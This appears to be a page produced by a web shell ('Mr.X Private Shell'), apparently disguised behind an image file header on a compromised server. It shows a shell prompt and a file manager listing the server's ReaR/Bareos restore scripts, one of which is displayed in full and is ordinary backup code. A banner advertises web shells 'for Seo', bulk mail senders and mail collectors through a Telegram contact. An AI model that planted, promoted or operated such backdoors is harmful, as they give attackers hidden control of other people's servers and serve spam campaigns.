����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# 550_check_bareos_restore_jobs.sh

# Let the user select a matching Bareos Restore Job.
# Alternatively, BAREOS_RESTORE_JOB can be set in the config file.

mapfile -t restore_jobs < <( get_available_restore_job_names )

Log "available restore jobs:" "${restore_jobs[@]}"

if (( ${#restore_jobs[@]} == 0 )); then
    Error "No Bareos restore jobs found"
fi

if [ "$BAREOS_RESTORE_JOB" ]; then
    if ! IsInArray "$BAREOS_RESTORE_JOB" "${restore_jobs[@]}"; then
        Error "Bareos Restore Job ($BAREOS_RESTORE_JOB) is not available. Available restore jobs:" "${restore_jobs[@]}"
    fi
    return
fi

if (( ${#restore_jobs[@]} == 1 )); then
    BAREOS_RESTORE_JOB="${restore_jobs[0]}"
    {
        echo "# added by prep/BAREOS/default/550_check_bareos_restore_jobs.sh"
        echo "BAREOS_RESTORE_JOB=$BAREOS_RESTORE_JOB"
        echo
    } >> "$ROOTFS_DIR/etc/rear/rescue.conf"
    LogPrint "Using '$BAREOS_RESTORE_JOB' as BAREOS_RESTORE_JOB."
    return
fi

Error "Could not determine which restore job to use, no BAREOS_RESTORE_JOB specified."

Filemanager

Name Type Size Permission Actions
400_prep_bareos.sh File 273 B 0644
450_check_bareos_config_files.sh File 284 B 0644
460_check_bareos_director.sh File 562 B 0644
500_check_bareos_client_configured.sh File 1007 B 0644
510_check_bareos_filesets.sh File 2.81 KB 0644
550_check_bareos_restore_jobs.sh File 1.03 KB 0644
570_check_bareos_plugin_dir.sh File 338 B 0644